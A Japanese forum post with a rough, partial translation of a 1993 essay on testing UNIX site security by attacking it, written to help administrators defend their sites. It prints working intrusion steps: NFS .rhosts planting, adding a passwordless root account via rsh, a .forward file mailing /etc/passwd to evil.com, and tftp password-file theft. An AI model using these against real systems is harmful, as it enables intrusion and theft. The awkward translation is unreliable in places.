Improving the Security of Your Site by Breaking Into it


途中迄ですが。 投稿者:Win  投稿日:08月07日(木)23時20分05秒

自信はないですが、こんなんで良かったら。
暇がないので、なかなか進みません。
あ−−学生さんが羨ましい−−−−!
序文

毎日、世界中で、コンピューターネットワークやホストが侵入されている。
これらの攻撃の洗練レベルは、大きく変化している(一般にほとんどの
侵入が、お粗末なパスワードのために成功するのだと信じられている間に。)
侵入するためのもっと高等な技術を使う侵入がまだ多数ある。
より少数は、後者のタイプの侵入について知られている。
なぜなら、彼らの強い気質によって,発見するのに懸命だからだ。
CERT. SRI. The Nic. NCSC. RSA. NASA. MIT. Uunet. Berkeley. Purdue.
Sun.
あなたは、それを示し、私たちはそれに侵入したのを見たことが有る。
インターネット上にある(多くはそうではないが)全てが全く容易なゲームであるように見える。
これらのターゲットは、普通ではない? 何が起こったのか?

...へ フエード

ベトベトしたブロンドの毛をした一人の少年が、暗い部屋に座っている。
部屋は、C64’の40キャラクタースクリーンの光だけによってともされている。
 Benson and Hedges cigaretteからもうひとつの長いドラッグを取り出しながら、
疲れているシステムクラッカーは、彼のヒットリストに載っている次の顔の見えない".mill"サイト
にテルネットをする。 "guest -- guest", "root -- root", and "system --manager"全て失敗。
何もない。彼は、一晩中やるのだ...
彼は、彼のリストから離れてホストを鉛筆で書く。
そして、次の可能性がある犠牲者に、疲れながらタイプする...
これが、システムクラッカーの一般的イメージであるように見える。
若者は、経験がなく、ただもう一つのシステムに入るために、浪費する多くの時間を持ってる。
しかしながら、そこからはるかにもっと危険なタイプのシステムクラッカーが出てくる。
ある者は、検査し、クラックするツールで、最近のセキュリティのinsとoutsを知っているし、
特定の攻撃のためにそれらを修正することができる。
そして、自分自身、プログラムを書くことができる.
最近のセキュリティホールついて読書するばかりでなく、バグと攻撃に弱い所を個人的に発見する.
悪意を持って、 strikeができ、そして、囁き、または、足跡のヒントもなく隠すことができる致命的な生物.
uebercrackerが、ここにいる。
何故、"uebercracker"?  
その アイディアは、明らかに、ニーチェのuebermenschから盗用されている。
または、文字通り、英語に "超人(over man)"と翻訳されている。
ニーチェは、漫画本スーパーマンを参照しない代わり、 
(しかし、その代わりに日常の人の無能力、狭量、および、弱さを越えて進んだ人だ。)
用語を使った、
uebercrackerは、それゆえにシステムに侵入することの簡単な料理読本法
を越えて進んだシステムクラッカーだ。
uebercrackerは、通常、手当たり次第の暴力行為を行なう事に動機はいらない。
ターゲットは気まぐれではない。−−
個人の金銭利益、情報への侵入を hit and run、
メジャー又は高名なサイト又はネットをストライクすることへの
挑戦であるとしても、目的がある。
uebercrackerは、見つけるのが困難であり、止めるのはさらに困難で、
あなたのサイトから離すのはもっとも困難だ。(for good)

概観

この章で、私たちはシステムセキュリティへの普通ではないアプローチを取ろう。
何かが問題だと単に発言する代わりに、私たちは能力の有る侵入者の目を通して見るだろう。
そして、_なぜ_それが一つであるかを明らかにするだろう。
表面上は害のないネットワークサービスさえ、システムの弱点に対する
調査に対して価値があるツールにする事が出来、
これらのサービスが、彼らが思ったとおりに、正確に操作されている時でさえも、私たちは例証するだろう。

もっと高等な侵入が見つかる方法に、幾ばくかの光明を照らす努力を持って、
この章は、クラッカーがシステムへのアクセスを実際によく得て、持っている様々なメカニズムを概説する。
そして、その上に、いくらかの技術、私たちは侵入者の使用に疑いをかけるか、
またはテストかフレンドリー/権限を与えられた環境で、それを私たち自身で使うかだ。

この章を書く動機は、システム管理者が、
もっとも些細な攻撃の向こうにある何かによってもたらされる危険を、時として知らないからだ。
適切な保護のレベルとは、
何が保護されなければならないかにかかっていることは広く知られている一方、
多くのサイトは、どんなレベルのホストとネットワークセキュリティが
十分であるかと言う評価に対する資源に欠いている様に見える。
どんな侵入者がリモートサイトにアクセスを得ることができるかを示すことによって、
私たちは、システム管理者が、どのようにしてサイトを保護するか
、しないか見識の有る決断力を養うのを手助けしようと試みている。

私たちは、UNIXホストで、リモート侵入者に(多分、インタラクティブでない)シェルプロセスへの
アクセスを与えることができる技術に討論を限定しょう。
いったんこれが達成されると、ルートに特権を得させることへの詳細は、この作業の範囲を越えている。
-私たちは、サイト−他にたよっているので そして、多くの場合において、
つまらないので色々討論する事に価値がないと思っている。

私たちは、バグのリストや、セキュリティーホールをほとんど探し出す事は
ないと強調したい。−-それは、常に、能力ある攻撃者が新しいのを発見するからだ.
この章の目的は、新しい方法で読者に,彼女か彼のシステムを見させることを試してみることだ
--_そのひとつは彼か彼女に、どのように彼らのシステムを妥協させることが
できるかと言う理解する機会を、希望を抱いて与えることだろう

私たちは、又、この文章の目的は、あなたのサイトのセキュリティを
どのようにテストするかを示すことである、と何度も繰り返したい、
どのように他の人達のシステムに侵入するかではなくて。
私たちがここで説明する侵入技術は、ログを検査するあなたのシステムに、
足跡をしばしば残すだろう。

-いくつかのこれらの攻撃を試した後に調査することや、
実際の攻撃が何に見えるかもしれないかが解る事が、建設的かもしれない.

確かに、もしあなたが認証なしにセキュリティのテストをするために
彼らのホストを使うとするならば、他のサイトとシステム管理者は
あなたの活動をたいへん疑うだろう;
実際、もし彼らが攻撃としてそれに気付けば、
法の力があなたを追求するかもしれないということは可能性として、おおいに有り得る。


この文章には4つの主なパートがある。
第1のパートは、案内と概観だ。
第2のパートは、読者に、何が侵入者である様にみえるかを感じさせることを試みる。
そして、いかにしてシステムについて何も知らない事から
セキュリティに妥協させるか迄を。
このセクションは、情報と入門を得るために、実際の技術を検討する。
そして、信頼を利用するする様な、基礎的な方法そして、
configuredの基礎回路網サービス (ftp, mail, tftp, etc.)を不適当に
乱用するように、基礎の方法をカバーする
それは、NISとNFSのようにわずかに一層高等なトピックを同じく議論する、
様々な共通のバグといくつかの他のOS、または、
特定のシステムであるコンフィギュレーション問題、と同様に。
各々の様々な攻撃に対する防御的な方法は、ここで同じくカバーされている。

第3のセクションは、信頼を取り扱う:どのように1つのシステムの
セキュリティが他のシステムの完壁性にかかっているか。
信頼は、この章において複雑な主題だ。そして、簡潔さのために、
私たちは偽っているクライアントに討論を限定しよう。

第4のセクションは、システム管理者が彼女か彼のシステムを保護するのに
必要とするかもしれない基礎段階をカバーする。
ここに公開した方法の大多数は、ほとんど常識だ。しかし、それらはしばしば実際には無視される。
-私たちの目標の一つは、正に基礎のセキュリティ学習を無視することは
どれだけ危険かもしれないかを示すことだ.

Case studies、セキュリティ−関連がある情報−に対するポインタ-、
そして、ソフトウェアは章の終りに付録で述べられる。

この章で議論された方法と方法を探検する一方、
私たちはシェル、perl、そして、C、で書かれたサタン
(ネットワークを検査するためのセキュリティ分析ツール)を書いた、
それはリモートホスト又はホストを調査し、NIS、フィンガー、NFS、ftp、
および、tftp、rexd、および、他のサービスをリモートで探ることによって、
できるだけ多くの情報を集める。

この情報は、潜在するセキュリティの欠陥と同様に様々な
ネットワーク情報サービスの存在を含む。
--通常、不正確にセットアップかconfigured のネットワークサービス、
システムの良く知られたバグ、または、ネットワークユーティリティー、
または、貧しい、または、無策な決定の形をとって

それは、その時に、このデータについて報告することができるか、
または、あらゆる潜在するセキュリティ問題をさらに調査するための
エキスパートシステムを使うことができるかだ。

サタンは私たちがこの章で議論する方法の全てを使うとはかぎらない間に、
それは、不吉な規則正しさでインターネットサイトのセキュリティの重大なホールを
見つけることに成功した。
それが完成された時、投函され、そして、
匿名のftp経由で利用することができる状態にされるだろう
;付録Aは、その顕著な主要点をカバーする。

一つの章でシステムに侵入することの全ての可能な方法をカバーするのは
可能ではないことに注意してくれ。
実際、私たちはホストに侵入する最も効果的な方法の二つ:
ソシァルエンジニアリングとパスワードクラッキング:をカバーしないだろう。
後者の方法は、しかしながら、大変効果的なのでここに公開したいくつかの
戦略がパスワードファイルを得る方に、関連される。
その上、windowingシステム(X、OpenWindows、等)が開発に創意力の有る
分野を提供することができる限り、私たちは、
リモートシステムに侵入するために使われる多くの方法を簡単に知ることはない。
多くのシステムクラッカーは、彼らが効果的にwindowingシステムを
利用するために、幾つかの最も面白い方法を使う事から
それらを妨げられるnon-bitmapped末端を使う。
(犠牲者のキーボードをモニターできる事は、しばしばパスワードを捕えるのに十分だけれども).

最後に(ウォーム、ウイルス、トロイの木馬、および
、他のmalwareは非常に興味が有る一方)、
それらは、共通(UNIXシステムの上で)ではない。
そして、私たちが彼らの攻撃戦略に対して個々の部分として
この章で述べるものに、同様の技術を多分使うだろう。

情報を得ること

あなたがUNIXワークステーションの犠牲者の会社組織ネットワークの
システム管理責任者であると考えよう。
あなたのマシンを守る努力でもって、あなたに彼女のマシンの一つに
アカウントを与えるよう、近くのサイト(evil.com)から友好的な
システム管理者に頼む。その結果、あなたは自分が外部からあなた自身の
システムのセキュリティを見ることができるようになる。

あなたは、何をするべきか?
最初に、あなたの(ターゲット)ホストに関する情報を集めることを試みてくれ。
見るべき沢山のネットワークサービスがある。
:フィンガー、showmount、そして rpcinfo は良いスタートポイントだ。
しかし、そこに留まっていてはいけない。
−−−あなたは、DNS、whois、sendmail(smtp)、ftp、uucp、および、
あなたが見つけることができる多くの他のサービスを同様に利用するべきだ.

非常に多くの方法と技術があるため、彼らの全てを示すことから、私たちを締め出す余地が有る。
しかし、私たちは、自分が見たか、思ったもっとも多くの共通と/又は危険な方法の
そのいずれかの-クロス面-を示すことを試みるだろう。

理想を言えば、あなたはsubnet、または、アタックのエリア上に全てのホストに関する
そのような情報を集めるだろう--情報は、パワーである--
しかし、今は私たちは自分の予定されたターゲットだけを調査しょう。

始めに、あなたは至る所に有るフィンガーコマンドが、あなたを表示しているのを見る
(6pm、Nov 6、1993年と仮定):

 victim % finger @victim.com
 [victim.com]
 Login       Name             TTY Idle     When    Where
 zen      Dr.  Fubar           co   1d  Wed 08:00   death.com

宜しい!シングルユーザー--あなたが実際に侵入しようとしているのかどうか、誰も気が付かないようだ。

今、あなたはもっと多くの戦術を試す。
全てのフィンガー愛好者は知っているので、fingering"@","0"、そして""、
ルート、bin、ftp、システム、ゲスト、デモ、マネージャーなどのように
共通の名前と同様に興味有る情報を明らかにすることができる.
その情報と言うのは、あなたのターゲット、最も著名なものはアカウント名だが、
が彼らのホームディレクターや最後にログインしたホストで走っているフィンガーのバージョンにかかっている。

この情報を増すために、あなたはログインユーザーに関する有益な情報を
得るために、rusers(特に-lフラグで)を使うことができる。

victim.com上で、これらの命令を試してみる事は,次の情報(スペースを省いて
圧縮した表にして公開された )で明らかにする。:
                      
 Login   Home-dir    Shell      Last login, from where
 -----   --------    -----      ----------------------
 root    /           /bin/sh    Fri Nov 5 07:42 on ttyp1 from big.victim.com
 bin     /bin                   Never logged in
 nobody  /                      Tue Jun 15 08:57 on ttyp2 from server.victim.co
 daemon  /                      Tue Mar 23 12:14 on ttyp0 from big.victim.com
 sync    /           /bin/sync  Tue Mar 23 12:14 on ttyp0 from big.victim.com
 zen     /home/zen   /bin/bash  On since Wed Nov  6 on ttyp3 from death.com
 sam     /home/sam   /bin/csh   Wed Nov  5 05:33 on ttyp3 from evil.com
 guest   /export/foo /bin/sh    Never logged in
 ftp     /home/ftp              Never logged in


続き 投稿者:Win  投稿日:08月07日(木)23時23分58秒

サタンによる私たちの実験およびシステムクラッカーが稼動するのを見て、
私たちにフィンガーがもっとも危険なサービスの一つであることが証明された、
なぜなら可能性があるターゲットを調査することが、非常に有益だからだ。
しかしながら、この情報の大部分は他のデータと共に使った時だけ、有益だ。

例えば、あなたのターゲット上にshowmountを走らせる事で明らかにする:

 evil % showmount -e victim.com
 export list for victim.com:
 /export                            (everyone)
 /var                               (everyone)
 /usr                               easy
 /export/exec/kvm/sun4c.sunos.4.1.3 easy
 /export/root/easy                  easy
 /export/swap/easy                  easy
             

 /export/fooが世界へエキスポートされることに注意し、その上、
これがユーザーのゲストのホームディレクトリーであることに注意してくれ;
あなたの最初の侵入のための良い時機に合わせてくれ!
この場合は、あなたはユーザー「ゲスト」のホームディレクトリーに、マウントするだろう。

あなたがローカルマシン上に正規のアカウントを持っていなかったり、
ルートがfilesystemにマウントされたNFS上でファイルを修正することができないのだから、
あなたは、自分のローカルのパスワードファイルに「ゲスト」のアカウントを作り出す。
ユーザー客として、あなたはリモートのゲストホームディレクトリーに.rhostsを置く事が出来る。
そしてそれは、パスワードなしでターゲットのマシンにログインを許可する。
                      
 evil # mount victim.com:/export/foo /foo
 evil # cd /foo
 evil # ls -lag
 total 3
    1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
    1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
    1 drwx--x--x  9 10001    daemon       1024 Aug  3 15:49 guest
 evil # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd
 evil # ls -lag
 total 3
    1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
    1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
    1 drwx--x--x  9 guest    daemon       1024 Aug  3 15:49 guest
 evil # su guest
 evil % echo evil.com >> guest/.rhosts
 evil % rlogin victim.com
         Welcome to victim.com!
 victim %


もしホームディレクトリーの代わりにvictim.comがユーザーコマンド(例えば、/usrか/usr/local/bin)で
filesystemsをエクスポートしていれば、あなたは、ある命令をあなたの選ぶあらゆる命令を実行する
トロイの木馬と、取り替えるだろう。
その命令を実行する次のユーザーは、あなたのプログラムを実行するだろう。
私たちは、filesystemsがエキスポートされることを提案する:

スペックでのRead/writeのみは、クライアントを信用させた。
リードオンリー、そこに可能性がある、
(この方法でデータかプログラムをしばしばエキスポートすることができる。)

もしターゲットが "+"ワイルドカードを/etc/hosts.equiv(色々なベンダーのマシンにおいてデフォルト)
に持っているならなら、又 netgroups bug(CERT advisory 91:12),
ターゲットのパスワードファイルに有るlogin名を持つあらゆるrootでないユーザーは
、パスワードなしでターゲットへrlogin知る事が出来る。
そして、ユーザー「bin」がキーファイルとディレクトリーをしばしば所有して以来、
あなたの次の攻撃は、ターゲットホストに有るログを試し、そして、
あなたにルートアクセスを持たせるように、パスワードファイルを修正することを試みることだ



 evil % whoami
 bin
 evil % rsh victim.com csh -i
 Warning: no access to tty; thus no job control in this shell...
 victim %  ls -ldg /etc
 drwxr-sr-x  8 bin      staff        2048 Jul 24 18:02 /etc
 victim %  cd /etc
 victim %  mv passwd pw.old
 victim %  (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd
 victim % ^D
 evil % rlogin victim.com -l toor
         Welcome to victim.com!
 victim #

上に使われた方法についての注意;”rsh victim.com csh-i”がシステムに初めにゲットするために使わる、
。なぜなら、ファイルを検査したり、フィンガーやwhoに対して目に見えないrshを作るwtmpや
utmpシステムにどんな足跡も残さないからだ。
リモートシェルは、見せかけ-ターミナルになじまない。しかしながら、
そのため、pagersとエディターのような screen-orientedプログラムは、失敗するだろう
。-しかし、それは、ちょっとした探査のためには大変使いやすい。

ツール(付録Dを見よ)を検査するCOPSセキュリティは、superuserより他のアカウントに
書き込みやすいキーファイル、または、ディレクトリーを報告するだろう。
もしあなたがSunOS 4.xを走らせれば、あなたは、もっと多くのファイルのパーミッション問題を
修正するために、パッチ100103を適用させることができる。
多くのシステム上で、上記で示されたように検査するrshは、成功した時でさえ、
完全に気付かれないだろう。;
tcp wrapper(付録D)、それは入ってる接続を記録する、はそのような活動を曝すのを手伝うことができる。
さて。
あなたは、自分のターゲットシステム上で全てのホールを暴露したか?
ロングショットによってではない。
あなたのターゲット上のフィンガーの結果が戻ってく事によって、
あなたはそれが「ftp」アカウントを持っていることに気がつく。そして、それは通常、
匿名のftpが可能である事を意味する。
それがしばしばmisconfiguredであるので、匿名のftpは、アクセスをするには容易な方法である。
例えば、ターゲットは、バージョンを外す代わりに匿名のftp ~ftp/etcディレクトリーに
完全な/etc/passwdファイルのコピーを持っているかもしれない。

しかしながら、この例で、あなたは後者が真実であるように見えないことが分かる。
(あなたは、ファイルを実際に調査しないで、どうやって言えるか)
しかしながら、victim.com上のftpのホームディレクトリーは書き込み可である。
これは、あなたが命令をリモートで実行するのを可能にする-−この場合は、
パスワードファイルがあなた自身にメールで戻ってくる事で。
(メールがftpアカウントに送られると命令を実行する.forwardファイルを作るという簡単な方法で)
これは、「空いている」プログラムが、自動的にメッセージを返送するというプログラムと
同じパイピングメールのメカニズムである。

 evil % cat forward_sucker_file
 "|/bin/mail zen@evil.com < /etc/passwd"

 evil % ftp victim.com
 Connected to victim.com
 220 victim FTP server ready.
 Name (victim.com:zen): ftp
 331 Guest login ok, send ident as password.
 Password:
 230 Guest login ok, access restrictions apply.
 ftp> ls -lga
 200 PORT command successful.
 150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).
 total 5
 drwxr-xr-x  4 101      1             512 Jun 20  1991 .
 drwxr-xr-x  4 101      1             512 Jun 20  1991 ..
 drwxr-xr-x  2 0        1             512 Jun 20  1991 bin
 drwxr-xr-x  2 0        1             512 Jun 20  1991 etc
 drwxr-xr-x  3 101      1             512 Aug 22  1991 pub
 226 ASCII Transfer complete.
 242 bytes received in 0.066 seconds (3.6 Kbytes/s)
 ftp> put forward_sucker_file .forward
 43 bytes sent in 0.0015 seconds (28 Kbytes/s)
 ftp> quit
 evil % echo test | mail ftp@victim.com

今は、あなたはパスワードファイルが、ただあなたに戻ってくるのを待つだけだ。
セキュリティー検査ツールCOPSは、あなたの匿名のftpセットアップを調べるだろう;
ftpdのためのmanページ、COPSのためのdocumentation/code、または、正しく匿名のftpを
セットアップする方法を載せた情報のためのCERT advisory 93:10を見なさい。
ftpの攻撃に弱い箇所は、しばしば不正確な所有権の問題か重要なファイル、または、
ディレクトリーのパーミッションである。
最小限、~ftpと、全ての「システム」ディレクトリーと、ftpがrootによって認められて、
そして、どんなユーザーによっても書き込み可ではないファイルであることを確かめなさい。

ftpを見る間、あなたはかつて広く利用されたもっと古いバグを調べることができる:

 % ftp -n
 ftp> open victim.com
 Connected to victim.com
 220 victim.com FTP server ready.
 ftp> quote user ftp
 331 Guest login ok, send ident as password.
 ftp> quote cwd ~root
 530 Please login with USER and PASS.
 ftp> quote pass ftp
 230 Guest login ok, access restrictions apply.
 ftp> ls -al / (or whatever)

もしこれが働けば、あなたは、今やルートとしてログインしパスワードファイル、
又はあなたが望むどんな事でも修正ができる。
もしあなたのシステムがこのバグを示せば、あなたは、あなたのベンダー又は、
(匿名ftp経由)ftp.uu.netからあなたのftpdデーモンの最新情報を明確に得るだろう。

wuarchive ftpd、人気がある代用ftpデーモンは
セントルイスに有るワシントン大学によって出された、はほとんど同じ問題を持っていた。
もしあなたのwuarchiveftpdが1993年4月8日に先立てば、
あなたは、それをもっと最近のバージョンと取り替えるだろう。

最後に、tftp--ftpに漠然と似ているプログラムか、何でもないファイル転送プログラムがある。
このデーモンは、認証のために少しのパスワードも要求しない;

もしホストがアクセス(通常、、inetd.confファイルに有るある安全なフラグセット経由で)を制限しないで
、tftpを提供すれば、攻撃者は、どこでもシステム上でファイルを読むことができ、書くことができる。

例として、あなたはリモートのパスワードをゲットしそれをあなたの local /tmpディレクトリーにプットする:

evil % tftp
 tftp> connect victim.com
 tftp> get /etc/passwd /tmp/passwd.victim
 tftp> quit

セキュリティの目的のために、tftpを稼動すべきではない;
もしtftpが必要ならば、価値がある情報を持っていないディレクトリーに、
アクセスを限定するために、安全なoption/flagを使うか、または、
chroot wrapper プログラムの制御の下にそれを稼動しなさい。

もし前の方法で何も働かなければ、もっと多くの抜本的対策に合うのは、時間である。

あなたは、rpcinfoというフレンドがいる、別の非常に手軽なプログラム、
ある時はフィンガーよりもっと便利である。
ほとんどのホストは利用にする事が出来る RPCサービスを稼動する。;
rpcinfoは、portmapperと話をすることができ、そして、あなたに方法を示すことができる。

もしホストがNISを稼動していれば、もしそれがNISサーバーかスレーブならば、
もしディスクレスワークステーションが周囲にあれば、もしそれがNFS、どんなinfoサービス
(rusersd、rstatd、etc.)、または、他のどんな普通ではないプログラム
(検査又は、関連のあるセキュリティー)を稼動していれば、それは、あなたに告げることができる。
例えば、私たちのサンプルターゲットに戻ること:

 evil % rpcinfo -p victim.com    [output trimmed for brevity's sake]
    program vers proto   port
     100004    2   tcp    673  ypserv
     100005    1   udp    721  mountd
     100003    2   udp   2049  nfs
     100026    1   udp    733  bootparam
     100017    1   tcp   1274  rexd

この場合は、あなたは私たちのターゲットについてのいくつかの重要な事実を見ることができる;
最初にそれは、それがNISサーバーであることである.
それは、多分広く知られていない。しかし、いったんあなたがサーバーのNISドメイン名を知ると、
あなたが外部にいる時さえ、あなたは簡単なrpcクエリーによってそのNISmapの何でも得ることができる。
subnetは、NISサーバーによって与えられた。
(例えばftp.uu.netの上のcomp.sources.miscアーカイブで見つけることができるYPXプログラムを使うこと)
その上に、大変簡単に推測されるパスワードのように、
多くのシステムは容易に推測されるNISドメイン名を使う。
NISドメイン名を推測することを試みることは、しばしば非常に実りが多い。
良い候補者は、十分に、および、部分的に権限があるhostname(例えば「victim」や「victim.com」)、
組織名、「showmount」で表示するnetgroup名.等
もしあなたがドメイン名が「victim」だと推測したかったならば、あなたは、タイプするだろう:

 evil % ypwhich -d victim victim.com
 Domain victim not bound.

これは、不成功の試みだった;もしあなたが正確に推測したならば、それは、
victim.comのNISサーバーのホスト名で戻って来ただろう.
しかしながら、NFSセクションからvictim.comが世界へ「/var」ディレクトリーを
エクスポートしていることに注意しなさい。
必要とされる全ては、このディレクトリをマウントし「yp」サブディレクトリで見る−−−
ターゲットのドメイン名を含む別のディレクトリーを見るであろう他のものの間に。

 evil # mount victim.com:/var /foo
 evil # cd /foo
 evil # /bin/ls -alg /foo/yp
 total 17
    1 drwxr-sr-x  4 root     staff         512 Jul 12 14:22 .
    1 drwxr-sr-x 11 root     staff         512 Jun 29 10:54 ..
   11 -rwxr-xr-x  1 root     staff       10993 Apr 22 11:56 Makefile
    1 drwxr-sr-x  2 root     staff         512 Apr 22 11:20 binding
    2 drwxr-sr-x  2 root     staff        1536 Jul 12 14:22 foo_bar
    [...]


この場合は、「foo_bar」はNISドメイン名である。

その上に、NISマップは内部のホストリストと同様にuser/employee名の良いリストをしばしば含む。
クラックするためのパスワードは言うまでもない。

付録Cは、NISパスワードファイルの事例研究の結果を詳しく述べる。

今の所ここまで。
誤訳があったらどしどし書き直してね。